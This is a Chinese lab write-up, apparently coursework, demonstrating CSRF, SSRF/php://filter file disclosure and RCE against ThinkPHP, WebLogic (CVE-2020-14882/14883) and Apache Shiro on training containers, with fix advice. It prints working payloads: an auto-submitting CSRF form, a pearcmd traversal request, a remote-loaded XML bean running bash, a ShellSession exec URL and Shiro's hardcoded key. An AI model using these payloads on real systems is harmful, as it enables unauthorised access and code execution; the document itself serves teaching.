目录
对dvwa的csrf页面抓包、生成csrf的poc编辑编辑
通过浏览器打开test.html,页面很快跳转到dvwa页,可见成功修改了当前账号的密码编辑
二、SSRF:file_get_content实验,要求获取ssrf.php的源码
直接获取文件(参数:?file=php://filter/resource=ssrf.php;可见:展示内容会解析后的内容,如此获取不到源码)编辑
三、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程
环境搭建(建议其他dockker服务都先停止,避免端口冲突)
环境搭建(建议其他dockker服务都先停止,避免端口冲突)
Shiro反序列化漏洞(CVE-2016-4437、Shiro-550)
环境搭建(建议其他dockker服务都先停止,避免端口冲突)
环境搭建(建议其他dockker服务都先停止,避免端口冲突)
一、CSRF
-
DVWA-High等级
-
说明
- 靶场:dvwa的CSRF页面(修改密码)
- high等级:有不确定参数token的验证,不再符合CSRF的条件
- 攻击思路:等级可通过cookie修改,请求时可将high等级改为low等级
-
步骤
- 利用XSS获取被攻击用户的cookie
- 模拟被攻击用户修改密码:使用burp抓包,改包(cookie+low),提交,修改密码成功(实际攻击中,会通过表单自动提交来实现)
- 利用XSS获取被攻击用户的cookie
-
-
使用Burp生成CSRF利用POC并实现攻击
-
对dvwa的csrf页面抓包、生成csrf的poc
-
将此html代码复制到文件中(test.html)
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://ip:port/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="123" /> <input type="hidden" name="password_conf" value="123" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
-
通过浏览器打开test.html,页面很快跳转到dvwa页,可见成功修改了当前账号的密码
-
二、SSRF:file_get_content实验,要求获取ssrf.php的源码
-
说明
-
靶场:pikachu
-
知识点
- file_get_contents() 函数的作用是把整个文件读入一个字符串中
- php://filter:可以在访问数据流之前进行「过滤」,并指定过滤方式,用于对来自非安全来源的数据(比如用户输入)进行验证和过滤
- php://filter的两个参数
- resource=<要过滤的数据流>:这个参数是必须的。它指定了你要筛选过滤的数据流,即要读的文件
- read=<读链的筛选列表>:该参数可选。可以设定一个或多个过滤器名称,以管道符( | )分隔
-
-
步骤
-
直接获取文件(参数:?file=php://filter/resource=ssrf.php;可见:展示内容会解析后的内容,如此获取不到源码)
-
获取编码后的ssrf.php内容
1.url参数 ?file=php://filter/read=convert.base64-encode/resource=ssrf.php 2.编码后的内容: PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo=
-
对编码内容进行解码,得到ssrf.php文件的源码
-
源码内容
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "ssrf.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="ssrf.php"></a> </li> <li class="active">概述</li> </ul> </div> <div class="page-content"> <b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b> <p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p> 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br> <br> 数据流:攻击者----->服务器---->目标地址<br> <br> 根据后台使用的函数的不同,对应的影响和利用方法又有不一样 <pre style="width: 500px;"> PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec() </pre><br> 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。 <br> <br> 你可以根据"SSRF"里面的项目来搞懂问题的原因 </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php include_once $PIKA_ROOT_DIR . 'footer.php'; ?>
-
三、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程
-
ThinkPHP RCE
-
漏洞概述:漏洞利用条件
- register_argc_argv = on
- 知道pearcmd.php路径
- 安装pear库
- 多语言特性开启
-
影响范围
- 6.0.1 < ThinkPHP ≤ 6.0.13
- 5.1.0 < ThinkPHP ≤ 5.1.8
- 5.0.0 < ThinkPHP ≤ 5.0.12
-
环境搭建(建议其他dockker服务都先停止,避免端口冲突)
- docker pull vulfocus/thinkphp:6.0.12
- docker run -d -p 8080:80 vulfocus/thinkphp:6.0.12
- 浏览器访问:http://your_ip:8080/public/
-
漏洞演示
- 通过burp请求(在浏览器请求会存在url编码问题)
/public/?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/var/www/html/info.php
- 访问info.php
- 通过burp请求(在浏览器请求会存在url编码问题)
-
修复建议
- 若无必要,可关闭多语言特性
- 升级至最新版本
-
-
Weblogic RCE
-
漏洞概述:漏洞原理
- CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台
- CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
- 这两个漏洞的组合利用,可以让攻击者以未授权的身份登录后台,然后通过GET请求在Weblogic服务器上远程执行命令
-
影响范围
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
-
环境搭建(建议其他dockker服务都先停止,避免端口冲突)
- 安装Docker-compose:yum install -y docker-compose
- 下载Vulhub(试了几次才ok):git clone https://github.com/vulhub/vulhub.git
- cd vulhub/weblogic/CVE-2020-14882/
- 启动容器(可能比较慢):docker compose up -d
-
漏洞演示:CVE-2020-14882
- 访问以下URL,即可未授权访问到管理后台页面
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal 或 http://your-ip:7001/console/images/%252e%252e%252fconsole.portal
- 访问后的页面截图(可能需要访问几次才会看到此页面)
- 观察该页面可看到通过未授权访问的后台与正常登录的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。想要实现服务器RCE,就要借助另外一个漏洞(CVE-2020-14883)
- 访问以下URL,即可未授权访问到管理后台页面
-
漏洞演示:CVE-2020-14883
- 利用方式一
- 构造一个恶意的XML文件(命名为rce.xml)
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value> <![CDATA[touch /tmp/rce]]> </value> </list> </constructor-arg> </bean> </beans>
- 将xml文件保存在Weblogic可以访问到的服务器上(如upload-labs容器),确保打开后正常
- 访问如下URL(两处需替换为你的ip),即可让Weblogic加载该恶意XML文件,并执行其中的命令
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
- 请求url后的页面(报错无所谓)
- 进入容器,可以发现 touch /tmp/rce 已成功执行
- 这种利用方法的不足之处,就是需要Weblogic服务器能够访问到恶意XML,如果是内网服务器则还需要考虑突破网络限制的问题
- 构造一个恶意的XML文件(命名为rce.xml)
- 利用方式二
- 通过 com.tangosol.coherence.mvel2.sh.ShellSession 类实现,这个利用方法只能在 Weblogic12.2.1 以上版本利用,因为 10.3.6(上面受影响版本中只有这一个低于12.2.1)版本没有这个类
- 直接访问如下URL(需替换为你的ip),即可执行命令
http://your-ip:7001/console/images/%252e%252e%252fconsole.portal? _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java .lang.Runtime.getRuntime().exec('touch%20/tmp/rce2');")
- 进入容器,可以发现 touch /tmp/rce2已成功执行
- 利用方式一
-
修复建议
- 若无必要,可选择关闭console
- 升级至最新版本
-
-
Shiro RCE
-
Shiro反序列化漏洞(CVE-2016-4437、Shiro-550)
-
漏洞概述
- 在Apache Shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项,登录后请求数据包中的Cookie字段将会多出一段数据,这一段数据包含了用户的身份信息,是经过加密的
- 加密过程:用户信息 --> 序列化 --> AES加密(这一步需要用密钥key) --> Base64编码 --> RememberMeCookie值
- 识别身份的时候,服务端需要对Cookie里的RememberMe字段解密。根据加密的顺序,反推解密过程:RememberMe Cookie值 --> Base64解码 --> AES解密 --> 反序列化(未作过滤处理) --> 用户信息
- 出问题的点在于:AES加密的密钥Key被硬编码在代码里(默认密钥:kPH+bIxk5D2deZiIxcaaaA==),这就意味着任何人都可以通过源代码拿到AES加密的密钥。因此,如果把用户信息替换成恶意命令,经过序列化、AES加密、Base64编码后,作为Cookie的RememberMe字段发送。服务端接收RememberMe字段进行解码、解密,反序列化等,这一过程未进行过滤,最终造成该漏洞,实现远程命令执行
-
影响范围:Apache Shiro ≤ 1.2.4
-
环境搭建(建议其他dockker服务都先停止,避免端口冲突)
- cd vulhub/shiro/CVE-2016-4437/
- 启动容器(可能有点慢):docker compose up -d
- 打开页面
- 使用burp验证漏洞存在:账号admin 密码vulhub
-
漏洞演示
- 使用工具:shiro_attack_2.2
- 检测成功
- 命令执行:成功
-
修复建议
- 升级Shiro到最新版本
- 自定义AES密钥且不使用硬编码
-
-
Shiro权限绕过漏洞(CVE-2020-1957)
-
漏洞概述
- Apache Shiro 1.5.2之前的版本,由于Shiro拦截器和Web框架拦截器对RequestURI的匹配流程存在差异,导致攻击者通过构造特殊的http请求,可以绕过Shiro的认证,未授权访问敏感路径
- 以Spring框架为例。Spring Boot搭配Apache Shiro进行身份验证、权限控制时,利用Spring和ApacheShiro对URL的处理逻辑不同,实现认证绕过和未授权访问
- 比如攻击者构造了这样一个路径: /xxx/..;/admin/
- Shiro首先对URL进行处理,读取到;后会进行截断,丢弃/admin/,然后对/xxx/..;查找需要进行权限判断的地方,发现/xxx/..;不需要权限校验,则放行,交由Spring进行处理
- Spring通过/xxx/..;/admin/获取到有效路径/admin/,发起请求访问,假如admin是后台地址,则会成功访问后台
-
影响范围:Apache Shiro < 1.5.2
-
环境搭建(建议其他dockker服务都先停止,避免端口冲突)
- cd vulhub/shiro/CVE-2020-1957/
- docker compose up -d
-
漏洞演示
- 访问 http://your-ip:8080 ,看到靶场首页
- 直接请求管理页面 /admin/ ,无法访问,将会被重定向到登录页面(可能有点慢)
- 构造恶意请求 /xxx/..;/admin/ ,即可绕过权限校验,访问到管理页面(可能有点慢)
- 访问 http://your-ip:8080 ,看到靶场首页
-
修复建议
- 升级Shiro到最新版本
-
-